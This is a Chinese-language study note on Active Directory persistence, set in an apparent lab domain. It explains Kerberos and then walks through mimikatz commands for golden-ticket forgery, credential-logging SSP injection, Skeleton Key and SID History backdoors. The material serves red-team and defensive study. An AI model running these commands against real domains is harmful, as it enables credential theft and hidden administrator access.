域环境权限维持

PTT

PASS The Ticket(票据传递)

Kerberos认证

Client: Application Client            应用客户端

KDC(Key Distribution Center):密钥分发中心,里面包含两个服务:AS和TGS
AS(Authentication Server):     身份认证服务
TGS(Ticket Granting Server): 票据授予服务
TGT(Ticket Granting Ticket):     由身份认证服务授予的票据,用于身份认证,存储在内存,默认有效期为10小时
 

流程:

1.Client向KDC发起AS_REQ请求内容为通过Client密码Hash 加密的时间戳、ClientID、网络地址、加密类型等内容
2.KDC使用Client hash进行解密,并在ntds.dit(只有域控中才有的数据库)中查找该账户,如果结果正确就返回用krbtgt NTLM-hash加密的TGT票据,TGT里面包含PAC(Privilege Attribute Certificate,不同的账号有不同的权限,PAC就是为了区别不同权限的一种方式),PAC包含Client的sid,Client所在的组
3.Client(客户端)凭借TGT票据向KDC发起针对特定服务的TGS_REQ请求
4.KDC使用krbtgt NTLM-hash进行解密,如果结果正确,就返回用服务NTLM-hash 加密的TGS票据,并带上PAC返回给Client(客户端),这一步不管用户有没有访问服务的权限,只要TGT(认证票据)正确,就返回TGS票据
5.此时client拿着KDC给的TGS票据去请求服务
6.服务端使用自己的NTLM-hash解密TGS票据。如果解密正确,就拿着PAC去KDC那边问Client有没有访问权限,域控解密PAC。获取Client的sid,以及所在的组,再根据该服务的ACL,判断Client是否有访问服务的权限。

黄金票据伪造原理

     KDC 返回的 Msg B :使用 TGS 密钥( KDC HASH / KRBTGT用户NTLM HASH ) 加密的
TGT ( Ticket-Granting-Ticket ),当我们获取到 krbtgt 用户的 NTLM 哈希后,便可主动使用 krbtgt 用户的 NTLM 哈希做为 TGS 密钥来生成 TGT 发送给 KDC ,这样 KDC 如果通过解密伪造 TGT 获取到伪造的 [CLIENT/TGS SESSIONKEY] 可以成功解密 Authenticator 1 并完成与 TGT 中的数据进行比对,便成功骗过了 KDC ,也就是成功伪造了黄金票据

黄金票据伪造条件

1、域名称            
2、域的SID值
3、域的KRBTGT账户密码HASH
4、伪造用户名,可以是任意的 

1. 获取域名:

whoami

net time /domain

ipconfig /all

2.获取域SID:

whoami /user
wmic useraccount list brief

3.获取域的KRBTGT账户NTLM密码哈希或者aes-256值

mimikatz lsadump::dcsync /domain:de1ay.com /user:krbtgt

4.清理所有票据

klist purge

5. mimikatz伪造指定用户的票据并注入内存

mimikatz kerberos::golden /user:administrator /domain:de1ay.com /sid:S-1-5-21-3767205380-3469466069-2137393323 /krbtgt:82dfc71b72a11ef37d663047bc2088fb /endin:480 /renewmax:10080 /ptt

6.查看票据

mimikatz kerberos::list

7.保存票据为文件

mimikatz kerberos::golden /user:administrator /domain:de1ay.com /sid:S-1-5-21-3767205380-3469466069-2137393323 /krbtgt:82dfc71b72a11ef37d663047bc2088fb /ticket:golden.kirbi

参考:

一文了解黄金票据和白银票据-腾讯云开发者社区-腾讯云

SSP

简介

SSP : security Support Provider ,一个用于身份验证的 dll
SSPI : Security Support Provider Interface , Windows 系统在执行认证操
作所使用的API。 SSPI 是 SSP 的 API 接口
LSA : Local Security Authority ,用于身份认证,常见进程为 lsass.exe ,特
别的地方在于 LSA 是可扩展的,在系统启动的时候 SSP 会被加载到进程 lsass.exe
中.这相当于我们可以自定义一个 dll ,在系统启动的时候被加载到进程 lsass.exe

原理

       系统在启动时 SSP 会被加载到 lsass.exe 进程中,由于 lsa 可扩展,导致在系统启动时我们可以加载一个自定义的 dll ,一个用于记录所有登录到当前系统的明文账号密码的 dll , 利用 mimikatz 中 mimilib.dll 文件。将 mimikatz 中的 mimilib.dll 放到系统的 C:\Windows\system32 目录下(DLL的位数需要与windows位数相同),并将 mimilib.dll 添加到注册表中,使用此方法即使系统重启,也不会影响到持久化的效果。

过程:

1.将mimilib文件上传复制到域控system32文件夹

copy mimilib.dll %systemroot%\system32

2.添加注册表:
reg query hklm\system\currentcontrolset\control\lsa\ /v "Security Packages"

3.添加数值:
reg add "hklm\system\currentcontrolset\control\lsa" /v "Security Packages" /d
"kerberos\0msv1_0\0schannel\0wdigest\0tspkg\0pku2u\0mimilib" /t REG_MULTI_SZ

#在powershell中执行reg!在cmd中执行可能会报错

计算机重启后,如果有用户成功登录到当前系统中,会在 c:\windows\system32 目
录下生成一个用于记录登账账号密码的 kiwissp.log 文件

优点:即使系统重启,也不会影响持久化效果;
缺点:但是会在目标主机上留下二进制文件。容易被发现

Memory Updating of SSPs

使用mimikatz将伪造的SSP注入内存,这样做不会在系统中留下二进制文件,但如果域控制器重启,被注入内存的伪造的SSP将会丢失。

执行命令:

mimikatz # privilege::debug

mimikatz # misc::memssp

type C:\Windows\System32\mimilsa.log

优点:这种方法不会在系统中留下二进制文件,
缺点:但域控重启,被注入内存的伪造SSP就会丢失。

Skeleton Key

简介

Skeleton Key 是一种不需要域控重启即能生效的维持域控权限方法。Skeleton Key 被安装在 64 位的域控服务器上,支持 Windows Server2003—Windows Server2012 R2 ,能够让所有域用户使用同一个万能密码进行登录,现有的所有域用户使用原密码仍能继续登录,注意并不能更改用户权限,重启后失效。

过程:

在域控安装Skeleton Key

privilege::debug
misc::skeleton

域内主机使用Skeleton Key登录域控

#mimikatz的默认Skeleton Key设置为mimikatz,Skeleton Key只是给所有账户
添加了一个万能密码,无法修改账户的权限

net use \\DC.de1ay.com mimikatz /user:[email protected]
net use \\dc\ipc$ "mimikatz" /user:administrator

#两条命令都可以尝试

SID History

简介

每个用户都有自己的SID。SID的作用主要是跟踪安全主体控制用户连接资源时的访
问权限。
SID History是在域迁移过程中需要使用的一个属性。

如果将A域中的域用户迁移到B域中,那么在B域中该用户的SID会随之改变,进而影
响迁移后用户的权限,导致迁移后的用户不能访问本来可以访问的资源。

SID History的作用是在域迁移过程中保持域用户的访问权限,即如果迁移后用户的
SID改变了,系统会将其原来的SID添加到迁移后用户的SID History属性中,使迁移
后的用户保持原有权限、能够访问其原来可以访问的资源。

使用mimikatz,可以将SID History属性添加到域中任意用户的SID History属性中。
在实战中,如果获得了域管理员权限,则可以将SID History作为实现持久化的方
法。

过程:

1.域控上添加并启用域账户

#pwd为新建域帐户名,

dsadd user cn=pwd,dc=de1ay,dc=com -disabled no -pwd 1qaz@WSX

2.Mimikatz添加后门

privilege::debug
sid::patch
sid::add /sam:pwd /new:administrator

3.PowerShell查看ming用户的SID History

Import-Module ActiveDirectory
Get-ADUser pwd -Properties sidhistory

4.验证域用户pwd是否有具有administrator权限

#以pwd账户登录计算机验证  

whoami

dir \\DC\c$

参考:

https://www.cnblogs.com/1-Ry/p/15647031.html

九维团队-红队(突破)| 黄金白银票据攻击与防御 | CTF导航

Kerberos协议之黄金票据和白银票据 - Y4er的博客

黄金票据和白银票据攻击及其原理介绍 - 简书

你可能感兴趣的:(笔记)